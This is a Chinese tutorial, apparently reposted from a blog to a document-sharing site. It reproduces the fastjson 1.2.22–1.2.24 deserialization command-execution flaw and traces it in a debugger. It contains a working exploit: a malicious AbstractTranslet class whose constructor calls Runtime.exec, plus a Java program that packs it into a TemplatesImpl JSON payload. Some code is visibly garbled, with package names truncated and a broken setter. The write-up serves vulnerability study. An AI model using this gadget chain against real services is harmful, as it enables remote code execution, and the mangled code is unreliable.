fastjson1.2.22-1.2.24反序列化命令执行实践测试
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
fastjson1.2.22-1.2.24反序列化命令执⾏实践测试
⾸先创建⼀个spring boot的项⽬
pom.xml因为fastjson 依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.22</version>
</dependency>
user entity
public class User {
private String username;
public void setUsername(String username) {
ername = username;
}
public String getUsername() {
return username;
}
}
正常反序列化时这样的:
String text="{\"@type\":\"er\",\"username\":\"xiaochuan\"}";
Object obj1 = JSON.parseObject(text, Object.class,Feature.SupportNonPublicField);
User myUser=(User)obj1;
return myUser.getUsername();
当payload换成:
String text = "{\"@type\":\".apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZ 即可触发命令执⾏
测试发现代码中
Object obj1 = JSON.parseObject(text, Object.class,Feature.SupportNonPublicField);
参考这位⼤佬的分析⽂章,跟进调试⼀遍。
⾸先poc的内容
package ka1n4t.poc;
import .apache.xalan.internal.xsltc.DOM;
import .apache.xalan.internal.xsltc.TransletException;
import .apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import .apache.xml.internal.dtm.DTMAxisIterator;
import .apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evilClass1 extends AbstractTranslet/*ka1n4t*/ {
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, .apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public evilClass1() throws IOException {
Runtime.getRuntime().exec("calc");
}
public static void main(String[] args) throws IOException {
evilClass1 helloworld = new evilClass1();
}
}
package ka1n4t.poc;
import mons.io.IOUtils;
import mons.codec.binary.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class vulApp1 {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
String result = Base64.encodeBase64String(bos.toByteArray());
return result;
}
public static void bad_method() {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
String evil_path = "D:\\Java-App\\fastjson-1.2.22\\target\\classes\\ka1n4t\\poc\\evilClass1.class";
String evil_code = readClass(evil_path);
final String NASTY_CLASS = ".apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evil_code+"\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
public static void main(String args[]) {
bad_method();
}
}
分析poc是在反序列化过程时,反序列化的TemplatesImpl类,其中_bytecodes是关键的代码,其值是base64后的evilClass1.class字节流,我的理解是在反序列化过程时,_bytecodes中的内容被实例化,从⽽执⾏了构造函数中的命令执⾏。
如果不对的话,还请⼤神指正,⼗分感谢
接下⾥尝试调试
⾸先漏洞触发在fastjson的FieldDeserializer类中。
通过java的反射机制,实际执⾏的是
public synchronized java.util.Properties .apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
这是java官⽅类库,所以Force Step Into 强制进⼊,之后Step Over (F8),⼀步步之后操作。
先进⼊invoke
然后进⼊TemplatesImpl.getOutputProperties(),注意在该函数下打个断点
进⼊这个函数可以看到调⽤了newTransformer(),它应该会返回⼀个实例,是官⽅内部函数,(Force Step Into):Alt + Shift + F7进去看看
可以看到的是其返回⼀个transformer实例,在实例化时调⽤了getTransletInstance函数。
(Force Step Into):Alt + Shift + F7进去看看
这⾥可以看到运⾏了⼀个defineTransletClasses()返回给_class
主要来看defineTransletClasses()是如何创建出poc中的恶意类的。
⾸先是实例化了⼀个TransletClassLoader 类型的loader
这是TemplatesImpl下的TransletClassLoader类,等等再分析
可以看到在经过_class[i] = loader.defineClass(_bytecodes[i]);后,_class[i]还原成功了class mon.util.Poc,回到getTransletInstance函数,经过defineTransletClasses()后,_class中已经有了我们的恶意类
最后通过newInstance()实例化,从⽽执⾏构造函数中的命令执⾏。
回头看看TransletClassLoader
可以看到TransletClassLoader继承了Java类加载器—ClassLoader类,defineTransletClasses⽅法,其间接调⽤ClassLoader加载_bytecodes中的内容之后,将加载出来的类赋值给_class[0]
所以最后就是_class[0].newInstance()创建实例,创建的过程中调⽤了evilClass1构造⽅法,然后触发了payload
以上是根据⼤神们的分析思路,加⼊了⼀些⾃⼰的理解,如果有不正确的地⽅,还请指正,⼗分感谢。